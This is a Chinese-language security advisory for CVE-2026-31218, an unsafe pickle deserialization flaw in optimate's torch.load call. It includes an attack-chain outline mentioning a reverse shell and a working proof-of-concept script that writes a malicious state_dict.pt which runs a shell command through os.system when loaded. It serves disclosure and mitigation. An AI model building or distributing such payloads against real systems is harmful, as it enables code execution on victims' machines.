IPBUF安全漏洞报告
English
CVE-2026-31218 CVSS 8.8 高危

CVE-2026-31218:optimate不安全反序列化致RCE漏洞

披露日期: 2026-05-12

漏洞信息

漏洞编号
CVE-2026-31218
漏洞类型
远程代码执行
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
optimate

相关标签

RCE不安全反序列化CWE-502optimatePyTorchPickles

漏洞概述

optimate项目中存在不安全反序列化漏洞。由于`neural_magic_training.py`脚本的`_load_model()`函数在加载模型文件时未启用`weights_only=True`参数,攻击者可诱导用户加载恶意的`state_dict.pt`文件,触发Pickle反序列化,从而在受害者系统上执行任意代码。

技术细节

该漏洞的技术原理在于Python Pickle模块的不安全反序列化机制。在optimate项目中,`neural_magic_training.py`脚本的`_load_model()`函数使用了PyTorch的`torch.load()`方法来恢复模型状态。默认情况下,`torch.load()`使用Pickle协议,允许对象重构。由于开发者在调用该函数时未启用`weights_only=True`参数,系统在加载`state_dict.pt`时会不安全地反序列化文件内容。攻击者可以构造一个恶意的Pickle流,其中包含一个定义了`__reduce__`方法的类。当`torch.load()`解析此文件时,会调用`__reduce__`方法返回的函数(如`os.system`)和参数,从而在受害者机器上执行任意系统命令。攻击者只需通过`--model`参数指向该文件,即可在无需交互的情况下触发漏洞,获得远程代码执行权限。

攻击链分析

STEP 1
侦察
攻击者识别出目标正在使用存在漏洞的optimate项目版本,且该版本允许通过--model参数指定模型路径。
STEP 2
武器化
攻击者编写Python脚本,利用Pickle的__reduce__方法构造包含恶意系统命令(如反弹Shell)的对象,并将其序列化为state_dict.pt文件。
STEP 3
交付
攻击者将生成的恶意state_dict.pt文件放置在受害者可访问的位置,或诱导受害者下载并使用该文件。
STEP 4
利用
受害者运行optimate脚本并通过--model参数指定恶意文件。脚本调用_load_model()函数。
STEP 5
安装与执行
torch.load()反序列化恶意文件,触发Pickle机制,自动执行攻击者预设的系统命令,导致服务器被控制。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import pickle import os import torch # Define a malicious class to execute arbitrary code class MaliciousPayload: def __reduce__(self): # Execute a simple command (e.g., create a file or pop calc) # In a real attack, this could be a reverse shell return (os.system, ('touch /tmp/pwned_by_cve_2026_31218',)) # Create the malicious payload object payload = MaliciousPayload() # Serialize the payload using pickle with open('malicious_state_dict.pt', 'wb') as f: pickle.dump(payload, f) print("[+] Malicious state_dict.pt generated successfully.") print("[+] Usage: ./optimate --model ./malicious_state_dict.pt") # --- Simulation of the vulnerable code path --- # def _load_model(path): # # Vulnerable call without weights_only=True # return torch.load(path) # # _load_model('./malicious_state_dict.pt')

影响范围

optimate (commit a6d302f9 及之前版本)

防御指南

临时缓解措施
在加载模型时,务必在`torch.load()`函数中设置`weights_only=True`参数,以限制仅加载张量数据,防止执行任意Python代码。此外,严格验证模型文件的来源和完整性。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表